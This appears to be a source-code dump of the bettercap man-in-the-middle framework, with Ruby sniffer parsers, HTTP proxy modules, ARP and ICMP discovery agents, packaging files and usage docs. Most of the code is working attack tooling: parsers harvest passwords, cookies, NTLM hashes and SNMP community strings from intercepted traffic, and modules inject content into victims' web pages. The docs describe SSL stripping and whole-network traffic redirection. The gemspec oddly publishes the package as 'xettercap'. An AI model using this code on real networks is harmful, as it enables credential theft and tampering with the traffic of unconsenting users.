evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | # Add accept_nonblock method to OpenSSL::SSL::SSLServer 15 | module OpenSSL 16 | module SSL 17 | class SSLServer 18 | unless public_method_defined? :accept_nonblock 19 | def accept_nonblock 20 | sock = @svr.accept_nonblock 21 | 22 | begin 23 | ssl = OpenSSL::SSL::SSLSocket.new(sock, @ctx) 24 | ssl.sync_close = true 25 | ssl.accept if @start_immediately 26 | ssl 27 | rescue SSLError => ex 28 | sock.close 29 | raise ex 30 | end 31 | end 32 | end 33 | end 34 | end 35 | end 36 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/sniffer/parsers/snpp.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | 13 | module BetterCap 14 | module Parsers 15 | # Simple Network Paging Protocol (SNPP) authentication parser. 16 | class Snpp < Base 17 | def initialize 18 | @name = 'SNPP' 19 | end 20 | def on_packet( pkt ) 21 | begin 22 | if pkt.tcp_dst == 444 23 | lines = pkt.to_s.split(/\r?\n/) 24 | lines.each do |line| 25 | if line =~ /LOGIn\s+(.+)\s+(.+)$/ 26 | user = $1 27 | pass = $2 28 | StreamLogger.log_raw( pkt, @name, "username=#{user} password=#{pass}" ) 29 | end 30 | end 31 | end 32 | rescue 33 | end 34 | end 35 | end 36 | end 37 | end 38 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/sniffer/parsers/whatsapp.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | WhatsApp OS Parser: 11 | Author : Gianluca Costa 12 | Email : g.costa@xplico.org 13 | 14 | This project is released under the GPL 3 license. 15 | 16 | =end 17 | 18 | module BetterCap 19 | module Parsers 20 | # WhatsApp traffic parser. 21 | class Whatsapp < Base 22 | def on_packet( pkt ) 23 | begin 24 | if ( pkt.tcp_dst == 443 or pkt.tcp_dst == 5222 or pkt.tcp_dst == 5223 ) and pkt.payload =~ /^WA.*?([a-zA-Z\-\.0-9]+).*?([0-9]+)/ 25 | version = $1 26 | phone = $2 27 | StreamLogger.log_raw( pkt, 'WHATSAPP', "#{'phone'.green}=#{phone.yellow} #{'version'.green}=#{version.yellow}" ) 28 | end 29 | rescue; end 30 | end 31 | end 32 | end 33 | end 34 | -------------------------------------------------------------------------------- /tools/bettercap/modules/hack_title.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | class HackTitle < BetterCap::Proxy::HTTP::Module 13 | meta( 14 | 'Name' => 'HackTitle', 15 | 'Description' => 'Adds a "!!! HACKED !!!" string to every webpage title.', 16 | 'Version' => '1.0.0', 17 | 'Author' => "Simone 'evilsocket' Margaritelli", 18 | 'License' => 'GPL3' 19 | ) 20 | 21 | def on_request( request, response ) 22 | # is it a html page? 23 | if response.content_type =~ /^text\/html.*/ 24 | BetterCap::Logger.info "Hacking http://#{request.host}#{request.path}" 25 | # make sure to use sub! or gsub! to update the instance 26 | response.body.sub!( '', '<title> !!! HACKED !!! ' ) 27 | end 28 | end 29 | end 30 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/discovery/agents/arp.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | # Parse the ARP table searching for new hosts. 15 | module BetterCap 16 | module Discovery 17 | module Agents 18 | # Class responsible of sending ARP probes to each possible IP on the network. 19 | class Arp < Discovery::Agents::Base 20 | private 21 | 22 | # Build a PacketFu::ARPPacket instance for the specified +ip+ address. 23 | def get_probe( ip ) 24 | pkt = PacketFu::ARPPacket.new 25 | 26 | pkt.eth_saddr = pkt.arp_saddr_mac = @ctx.iface.mac 27 | pkt.eth_daddr = 'ff:ff:ff:ff:ff:ff' 28 | pkt.arp_daddr_mac = '00:00:00:00:00:00' 29 | pkt.arp_saddr_ip = @ctx.iface.ip 30 | pkt.arp_daddr_ip = ip.to_s 31 | 32 | pkt 33 | end 34 | end 35 | end 36 | end 37 | end 38 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/sniffer/parsers/redis.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | 13 | module BetterCap 14 | module Parsers 15 | # Redis authentication parser. 16 | class Redis < Base 17 | def initialize 18 | @name = 'REDIS' 19 | end 20 | def on_packet( pkt ) 21 | begin 22 | if pkt.tcp_dst == 6379 23 | lines = pkt.to_s.split(/\r?\n/) 24 | lines.each do |line| 25 | if line =~ /config\s+set\s+requirepass\s+(.+)$/i 26 | pass = "#{$1}" 27 | StreamLogger.log_raw( pkt, @name, "password=#{pass}" ) 28 | elsif line =~ /AUTH\s+(.+)$/i 29 | pass = "#{$1}" 30 | StreamLogger.log_raw( pkt, @name, "password=#{pass}" ) 31 | end 32 | end 33 | end 34 | rescue 35 | end 36 | end 37 | end 38 | end 39 | end 40 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/network/protos/mysql.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | module BetterCap 15 | module Network 16 | module Protos 17 | module MySQL 18 | 19 | class Packet < Network::Protos::Base 20 | uint24 :packet_length 21 | uint8 :packet_number 22 | uint16 :client_capabilities 23 | uint16 :ext_client_capabilities 24 | uint32 :max_packet 25 | uint8 :charset 26 | string :padding, :size => 23, :check => "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 27 | stringz :username 28 | 29 | uint8 :plen 30 | bytes :password, :size => :plen 31 | 32 | def is_auth? 33 | @packet_number == 1 and !@username.nil? and @ext_client_capabilities != 0 and @plen > 0 34 | end 35 | end 36 | 37 | end 38 | end 39 | end 40 | end 41 | -------------------------------------------------------------------------------- /tools/bettercap/docs/proxying.md: -------------------------------------------------------------------------------- 1 | About Proxying 2 | ============ 3 | 4 | Bettercap is shipped with a HTTP/HTTPS ( with **SSL Stripping** and **HSTS Bypass** ) and raw TCP transparent proxies that you can use to manipulate HTTP/HTTPS or low level TCP traffic at runtime, for instance you could use the HTTP/HTTPS proxy to inject javascripts into the targets visited pages ( [BeEF](http://beefproject.com/) would be a great choice :D ), replace all the images, etc or use the TCP one for other protocols ( downgrade encryption with STARTTLS, dump custom protocols and so forth. 5 | 6 | ![proxy](/_static/img/proxy.png) 7 | 8 | Once one or more proxies are enabled, bettercap will take care of the spoofing and the firewall rules needed in order to redirect your targets' traffic to the proxy itself. 9 | 10 | By default the builtin proxies won't do anything but logging all the requests, additionally you can specify a "module" to use and you will be able to load one of the builtin plugins ( or your own ) and manipulate all the traffic as you like. 11 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/sniffer/parsers/https.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | module BetterCap 15 | module Parsers 16 | # HTTPS connections parser. 17 | class Https < Base 18 | @@prev = nil 19 | 20 | def on_packet( pkt ) 21 | begin 22 | if pkt.tcp_dst == 443 23 | # the DNS resolution could take a while and block other parsers. 24 | Thread.new do 25 | begin 26 | hostname = Resolv.getname pkt.ip_daddr 27 | rescue 28 | hostname = pkt.ip_daddr.to_s 29 | end 30 | 31 | if @@prev.nil? or @@prev != hostname 32 | StreamLogger.log_raw( pkt, 'HTTPS', "https://#{hostname}/" ) 33 | @@prev = hostname 34 | end 35 | end 36 | end 37 | rescue 38 | end 39 | end 40 | end 41 | end 42 | end 43 | -------------------------------------------------------------------------------- /tools/bettercap/modules/rickroll.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | class RickRoll < BetterCap::Proxy::HTTP::Module 13 | meta( 14 | 'Name' => 'RickRoll', 15 | 'Description' => 'Adds a "rickroll" video iframe on every webpage.', 16 | 'Version' => '1.0.0', 17 | 'Author' => "Simone 'evilsocket' Margaritelli", 18 | 'License' => 'GPL3' 19 | ) 20 | 21 | def on_request( request, response ) 22 | # is it a html page? 23 | if response.content_type =~ /^text\/html.*/ 24 | BetterCap::Logger.info "Inserting video iframe on http://#{request.host}#{request.path}" 25 | # make sure to use sub! or gsub! to update the instance 26 | file = File.open(File.dirname(__FILE__) + '/tmp/yplay.txt', "r") 27 | contents = file.read 28 | response.body.sub!( '<head>',contents) 29 | end 30 | end 31 | end 32 | -------------------------------------------------------------------------------- /tools/bettercap/docs/logging.md: -------------------------------------------------------------------------------- 1 | Logging 2 | ============ 3 | 4 | These options determine how bettercap console logger is going to behave. 5 | 6 | ## Examples 7 | 8 | Save log output to the `out.log` file: 9 | 10 | `sudo bettercap --log out.log` 11 | 12 | Save log output to the `out.log` file and suppress terminal output: 13 | 14 | `sudo bettercap --log out.log --silent` 15 | 16 | Save log output to the `out-ts.log` file and enable timestamps for each line: 17 | 18 | `sudo bettercap --log-timestamp --log out-ts.log` 19 | 20 | ## Options 21 | 22 | ### `-O, --log LOG_FILE` 23 | 24 | Log all messages into a file, if not specified the log messages will be only print into the shell. 25 | 26 | ### `--log-timestamp` 27 | 28 | Enable logging with timestamps for each line, disabled by default. 29 | 30 | ### `-D, --debug` 31 | 32 | Enable debug logging, **it is good practice to use this option while reporting a bug** in order to have the full debug log of the program. 33 | 34 | ### `--silent` 35 | 36 | Suppress every message which is not an error or a warning, default to `false`. 37 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/sniffer/parsers/snmp.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | SNMP community string parser: 10 | Author : Matteo Cantoni 11 | Email : matteo.cantoni@nothink.org 12 | 13 | This project is released under the GPL 3 license. 14 | 15 | Todo: SNMPv2 16 | 17 | =end 18 | 19 | module BetterCap 20 | module Parsers 21 | # SNMP community string parser. 22 | class SNMP < Base 23 | def on_packet( pkt ) 24 | begin 25 | if pkt.udp_dst == 161 26 | 27 | packet = Network::Protos::SNMP::Packet.parse( pkt.payload ) 28 | unless packet.nil? 29 | if packet.snmp_version_number.to_i == 0 30 | snmp_version = 'v1' 31 | else 32 | snmp_version = 'n/a' 33 | end 34 | 35 | msg = "[#{'Version:'.green} #{snmp_version}] [#{'Community:'.green} #{packet.snmp_community_string.map { |x| x.chr }.join.yellow}]" 36 | 37 | StreamLogger.log_raw( pkt, 'SNMP', msg ) 38 | end 39 | end 40 | rescue; end 41 | end 42 | end 43 | end 44 | end 45 | -------------------------------------------------------------------------------- /tools/bettercap/Gemfile.lock: -------------------------------------------------------------------------------- 1 | PATH 2 | remote: . 3 | specs: 4 | bettercap (1.5.6b) 5 | colorize (~> 0.8.0) 6 | em-proxy (~> 0.1, >= 0.1.8) 7 | net-dns (~> 0.8, >= 0.8.0) 8 | network_interface (~> 0.0, >= 0.0.1) 9 | packetfu (~> 1.1, >= 1.1.10) 10 | pcaprub (~> 0.12, >= 0.12.0) 11 | rubydns (~> 1.0, >= 1.0.3) 12 | 13 | GEM 14 | remote: https://rubygems.org/ 15 | specs: 16 | celluloid (0.16.0) 17 | timers (~> 4.0.0) 18 | celluloid-io (0.16.2) 19 | celluloid (>= 0.16.0) 20 | nio4r (>= 1.1.0) 21 | colorize (0.8.0) 22 | em-proxy (0.1.8) 23 | eventmachine 24 | eventmachine (1.2.0.1) 25 | hitimes (1.2.3) 26 | net-dns (0.8.0) 27 | network_interface (0.0.1) 28 | nio4r (1.2.0) 29 | packetfu (1.1.11) 30 | network_interface (~> 0.0) 31 | pcaprub (~> 0.12) 32 | pcaprub (0.12.1) 33 | rubydns (1.0.3) 34 | celluloid (= 0.16.0) 35 | celluloid-io (= 0.16.2) 36 | timers (~> 4.0.1) 37 | timers (4.0.4) 38 | hitimes 39 | 40 | PLATFORMS 41 | ruby 42 | 43 | DEPENDENCIES 44 | bettercap! 45 | 46 | BUNDLED WITH 47 | 1.11.2 48 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/spoofers/none.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | module BetterCap 15 | module Spoofers 16 | # Dummy class used to disable spoofing. 17 | class None < Base 18 | # Initialize the non-spoofing class. 19 | def initialize 20 | Logger.debug 'Spoofing disabled.' 21 | 22 | @ctx = Context.get 23 | @thread = nil 24 | @running = false 25 | 26 | update_gateway! 27 | end 28 | 29 | # Start the "NONE" spoofer. 30 | def start 31 | stop() if @running 32 | @running = true 33 | 34 | @thread = Thread.new { fake_spoofer } 35 | end 36 | 37 | # Stop the "NONE" spoofer. 38 | def stop 39 | return unless @running 40 | 41 | @running = false 42 | begin 43 | @thread.exit 44 | rescue 45 | end 46 | end 47 | 48 | private 49 | 50 | # Main fake spoofer loop. 51 | def fake_spoofer 52 | spoof_loop(1) { |target| } 53 | end 54 | 55 | end 56 | end 57 | end 58 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/sniffer/parsers/pgsql.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | module BetterCap 15 | module Parsers 16 | # PgSQL authentication parser. 17 | class PgSQL < Base 18 | STARTUP_EXPR = /....\x00\x03\x00\x00user\x00([^\x00]+)\x00database\x00([^\x00]+)/ 19 | MD5_AUTH_REQ_EXPR = /\x52....\x00\x00\x00\x05(....)/ 20 | MD5_PASSWORD_EXPR = /\x70....md5(.+)/ 21 | 22 | def on_packet( pkt ) 23 | if pkt.payload =~ STARTUP_EXPR 24 | StreamLogger.log_raw( pkt, 'PGSQL', "STARTUP #{'username'.blue}='#{$1.yellow}' #{'database'.blue}='#{$2.yellow}'" ) 25 | 26 | elsif pkt.payload =~ MD5_AUTH_REQ_EXPR 27 | salt = $1.reverse.unpack('L')[0] 28 | StreamLogger.log_raw( pkt, 'PGSQL', "MD5 AUTH REQUEST #{'salt'.blue}=#{sprintf("0x%X", salt).yellow}" ) 29 | 30 | elsif pkt.payload =~ MD5_PASSWORD_EXPR 31 | StreamLogger.log_raw( pkt, 'PGSQL', "PASSWORD #{'md5'.blue}='#{$1.yellow}'" ) 32 | end 33 | end 34 | end 35 | end 36 | end 37 | -------------------------------------------------------------------------------- /tools/bettercap/docs/index.rst: -------------------------------------------------------------------------------- 1 | Documentation 2 | ============= 3 | 4 | BetterCAP is a powerful, flexible and portable tool created to perform various types of **MITM** attacks against a network, manipulate **HTTP**, **HTTPS** and **TCP** traffic in realtime, sniff for credentials and much more. 5 | 6 | .. raw:: html 7 | 8 | <iframe width="100%" height="400" src="https://www.youtube.com/embed/BfvoONHXuQA" frameborder="0" allowfullscreen></iframe><br/><br/> 9 | 10 | Check on the **Next** button below and start hacking! 11 | 12 | .. toctree:: 13 | :hidden: 14 | :maxdepth: 1 15 | 16 | intro 17 | install 18 | contribute 19 | 20 | .. toctree:: 21 | :hidden: 22 | :caption: Main Features 23 | 24 | main 25 | logging 26 | spoofing 27 | sniffing 28 | 29 | .. toctree:: 30 | :hidden: 31 | :caption: Proxying & Modules 32 | 33 | proxying 34 | proxying/http 35 | proxying/tcp 36 | proxying/custom 37 | 38 | .. toctree:: 39 | :hidden: 40 | :caption: Builtin Servers 41 | 42 | servers/http 43 | servers/dns 44 | 45 | 46 | .. Indices and tables 47 | ================== 48 | * :ref:`genindex` 49 | * :ref:`modindex` 50 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/sniffer/parsers/cookie.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | module BetterCap 15 | module Parsers 16 | # HTTP cookies parser. 17 | class Cookie < Base 18 | # Cookies to ignore. 19 | FILTER = [ '__cfduid', '_ga', '_gat' ].freeze 20 | 21 | def on_packet( pkt ) 22 | hostname = nil 23 | cookies = {} 24 | 25 | pkt.to_s.split("\n").each do |line| 26 | if line =~ /Host:\s*([^\s]+)/i 27 | hostname = $1 28 | elsif line =~ /.*Cookie:\s*(.+)/i 29 | $1.strip.split(';').each do |v| 30 | k, v = v.split('=').map(&:strip) 31 | next if k.nil? or v.nil? 32 | unless k.empty? or v.empty? or FILTER.include?(k) 33 | cookies[k] = v 34 | end 35 | end 36 | end 37 | end 38 | 39 | unless hostname.nil? or cookies.empty? 40 | StreamLogger.log_raw( pkt, "COOKIE", "[#{hostname.yellow}] #{cookies.map{|k,v| "#{k.green}=#{v.yellow}"}.join('; ')}" ) 41 | end 42 | end 43 | end 44 | end 45 | end 46 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/discovery/agents/icmp.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | # Send a broadcast ping trying to filling the ARP table. 15 | module BetterCap 16 | module Discovery 17 | module Agents 18 | # Class responsible to do a ping-sweep on the network. 19 | class Icmp 20 | # Create a thread which will perform a ping-sweep on the network in order 21 | # to populate the ARP cache with active targets. 22 | def initialize( ctx, address = nil ) 23 | Firewalls::Base.get.enable_icmp_bcast(true) 24 | 25 | # TODO: Use the real broadcast address for this network. 26 | 3.times do 27 | pkt = PacketFu::ICMPPacket.new 28 | 29 | pkt.eth_saddr = ctx.iface.mac 30 | pkt.eth_daddr = 'ff:ff:ff:ff:ff:ff' 31 | pkt.ip_saddr = ctx.iface.ip 32 | pkt.ip_daddr = '255.255.255.255' 33 | pkt.icmp_type = 8 34 | pkt.icmp_code = 0 35 | pkt.payload = "ABCD" 36 | pkt.recalc 37 | 38 | ctx.packets.push(pkt) 39 | end 40 | end 41 | end 42 | end 43 | end 44 | end 45 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/firewalls/redirection.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | module BetterCap 14 | module Firewalls 15 | # This class represents a firewall port redirection rule. 16 | class Redirection 17 | # Network interface name. 18 | attr_reader :interface 19 | # Protocol name. 20 | attr_reader :protocol 21 | # Source address. 22 | attr_reader :src_address 23 | # Source port. 24 | attr_reader :src_port 25 | # Destination address. 26 | attr_reader :dst_address 27 | # Destionation port. 28 | attr_reader :dst_port 29 | 30 | # Create the redirection rule for the specified +interface+ and +protocol+. 31 | # Redirect +src_address+:+src_port+ to +dst_address+:+dst_port+ 32 | def initialize( interface, protocol, src_address, src_port, dst_address, dst_port ) 33 | @interface = interface 34 | @protocol = protocol 35 | @src_address = src_address 36 | @src_port = src_port 37 | @dst_address = dst_address 38 | @dst_port = dst_port 39 | end 40 | end 41 | end 42 | end 43 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/sniffer/parsers/ntlmss.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | module BetterCap 15 | module Parsers 16 | # NTLMSS authentication parser. 17 | class NTLMSS < Base 18 | def on_packet( pkt ) 19 | packet = Network::Protos::NTLM::Packet.parse( pkt.payload ) 20 | if !packet.nil? and packet.is_auth? 21 | msg = "NTLMSSP Authentication:\n" 22 | msg += " #{'LM Response'.blue} : #{packet.lm_response.map { |x| sprintf("%02X", x )}.join.yellow}\n" 23 | msg += " #{'NTLM Response'.blue} : #{packet.ntlm_response.map { |x| sprintf("%02X", x )}.join.yellow}\n" 24 | msg += " #{'Domain Name'.blue} : #{packet.domain_name.yellow}\n" 25 | msg += " #{'User Name'.blue} : #{packet.user_name.yellow}\n" 26 | msg += " #{'Host Name'.blue} : #{packet.host_name.yellow}\n" 27 | msg += " #{'Session Key'.blue} : #{packet.session_key_resp.map { |x| sprintf("%02X", x )}.join.yellow}" 28 | 29 | StreamLogger.log_raw( pkt, 'NTLM', msg ) 30 | end 31 | end 32 | end 33 | end 34 | end 35 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/sniffer/parsers/httpauth.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | module BetterCap 15 | module Parsers 16 | # HTTP basic and digest authentication parser. 17 | class Httpauth < Base 18 | def on_packet( pkt ) 19 | lines = pkt.to_s.split("\n") 20 | hostname = nil 21 | path = nil 22 | 23 | lines.each do |line| 24 | if line =~ /[A-Z]+\s+(\/[^\s]+)\s+HTTP\/\d\.\d/ 25 | path = $1 26 | 27 | elsif line =~ /Host:\s*([^\s]+)/i 28 | hostname = $1 29 | 30 | elsif line =~ /Authorization:\s*Basic\s+([^\s]+)/i 31 | encoded = $1 32 | decoded = Base64.decode64(encoded) 33 | user, pass = decoded.split(':') 34 | 35 | StreamLogger.log_raw( pkt, 'HTTP BASIC AUTH', "http://#{hostname}#{path} - username=#{user} password=#{pass}".yellow ) 36 | 37 | elsif line =~ /Authorization:\s*([^\s]+)\s+(.+)/i 38 | StreamLogger.log_raw( pkt, "HTTP #{$1} AUTH", "http://#{hostname}#{path}\n#{$1.blue}: #{$2.yellow}" ) 39 | end 40 | end 41 | end 42 | end 43 | end 44 | end 45 | -------------------------------------------------------------------------------- /tools/bettercap/docs/proxying/custom.md: -------------------------------------------------------------------------------- 1 | Third Party Proxies 2 | ============ 3 | 4 | If you want to use some custom proxy of yours ( BurpSuite for instance, or some custom app you wrote ) you can still use bettercap to make the whole process easier, no more crappy shell scripts to apply custom firewall rules and launch "esotic" commands! 5 | 6 | For instance, if you want to attack the whole network and redirect all HTTP traffic to your local BurpSuite installation ( in this example `192.168.1.2` is your computer ip address ): 7 | 8 | sudo bettercap --custom-proxy 192.168.1.2 9 | 10 | <hr/> 11 | 12 | ## `--custom-proxy ADDRESS` 13 | 14 | Use a custom HTTP upstream proxy instead of the builtin one. 15 | 16 | ## `--custom-proxy-port PORT` 17 | 18 | Specify a port for the custom HTTP upstream proxy, default to `8080`. 19 | 20 | ## `--custom-https-proxy ADDRESS` 21 | 22 | Use a custom HTTPS upstream proxy instead of the builtin one. 23 | 24 | ## `--custom-https-proxy-port PORT` 25 | 26 | Specify a port for the custom HTTPS upstream proxy, default to 8083. 27 | 28 | ## `--custom-redirection RULE` 29 | 30 | Apply a custom port redirection, the format of the rule is `PROTOCOL ORIGINAL_PORT NEW_PORT`. 31 | For instance `TCP 21 2100` will redirect all TCP traffic going to port `21`, to port `2100`. 32 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/sniffer/parsers/dhcp.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | 13 | module BetterCap 14 | module Parsers 15 | # DHCP packets and authentication parser. 16 | class DHCP < Base 17 | def on_packet( pkt ) 18 | begin 19 | if pkt.udp_dst == 67 or pkt.udp_dst == 68 20 | packet = Network::Protos::DHCP::Packet.parse( pkt.payload ) 21 | unless packet.nil? 22 | auth = packet.authentication 23 | cid = auth.nil?? nil : packet.client_identifier 24 | msg = "[#{packet.type.yellow}] #{'Transaction-ID'.green}=#{sprintf( "0x%X", packet.xid ).yellow}" 25 | 26 | unless cid.nil? 27 | msg += " #{'Client-ID'.green}='#{cid.yellow}'" 28 | end 29 | 30 | unless auth.nil? 31 | msg += "\n#{'AUTHENTICATION'.green}:\n\n" 32 | auth.each do |k,v| 33 | msg += " #{k.blue} : #{v.yellow}\n" 34 | end 35 | msg += "\n" 36 | end 37 | 38 | StreamLogger.log_raw( pkt, 'DHCP', msg ) 39 | end 40 | end 41 | rescue; end 42 | end 43 | end 44 | end 45 | end 46 | -------------------------------------------------------------------------------- /tools/bettercap/bettercap.gemspec: -------------------------------------------------------------------------------- 1 | require './lib/bettercap/version' 2 | 3 | Gem::Specification.new do |gem| 4 | gem.name = %q{xettercap} 5 | gem.version = BetterCap::VERSION 6 | gem.license = 'GPL-3.0' 7 | gem.summary = %q{A complete, modular, portable and easily extensible MITM framework.} 8 | gem.description = %q{BetterCap is the state of the art, modular, portable and easily extensible MITM framework featuring ARP, DNS and ICMP spoofing, sslstripping, credentials harvesting and more.} 9 | gem.required_ruby_version = '>= 1.9' 10 | 11 | 12 | gem.authors = ['Simone Margaritelli'] 13 | gem.email = %q{evilsocket@gmail.com} 14 | gem.homepage = %q{http://github.com/evilsocket/bettercap} 15 | 16 | gem.add_dependency( 'colorize', '~> 0.8.0' ) 17 | gem.add_dependency( 'packetfu', '~> 1.1', '>= 1.1.10' ) 18 | gem.add_dependency( 'pcaprub', '~> 0.12', '>= 0.12.0' ) 19 | gem.add_dependency( 'network_interface', '~> 0.0', '>= 0.0.1' ) 20 | gem.add_dependency( 'net-dns', '~> 0.8', '>= 0.8.0' ) 21 | gem.add_dependency( 'rubydns', '~> 1.0', '>= 1.0.3' ) 22 | gem.add_dependency( 'em-proxy', '~> 0.1', '>= 0.1.8' ) 23 | 24 | gem.files = Dir.glob("*.md") + 25 | Dir.glob("lib/**/*") + 26 | Dir.glob("bin/**/*") 27 | 28 | gem.require_paths = ["lib"] 29 | 30 | gem.executables = %w(xettercap) 31 | gem.rdoc_options = ["--charset=UTF-8"] 32 | end 33 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/network/protos/snmp.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | SNMP network protos: 11 | Author : Matteo Cantoni 12 | Email : matteo.cantoni@nothink.org 13 | 14 | This project is released under the GPL 3 license. 15 | 16 | Todo: 17 | - add SNMPv1 PDU structure 18 | - add SNMPv2 support 19 | 20 | =end 21 | 22 | module BetterCap 23 | module Network 24 | module Protos 25 | module SNMP 26 | 27 | # https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol 28 | # http://docwiki.cisco.com/wiki/Simple_Network_Management_Protocol 29 | class Packet < Network::Protos::Base 30 | 31 | #0000 30 29 02 01 00 04 06 70 75 62 6c 69 63 a1 1c 02 32 | #0010 04 36 eb 8d d1 02 01 00 02 01 00 30 0e 30 0c 06 33 | #0020 08 2b 06 01 02 01 01 01 00 05 00 34 | 35 | uint16 :snmp_asn_decode # 30 29 36 | 37 | uint8 :snmp_version_type # 02 38 | uint8 :snmp_version_length # 01 39 | uint8 :snmp_version_number # 00 40 | 41 | uint8 :snmp_community_type # 04 42 | uint8 :snmp_community_length # 06 43 | bytes :snmp_community_string, :size => :snmp_community_length # 70 75 62 6c 69 63 44 | end 45 | 46 | end 47 | end 48 | end 49 | end 50 | 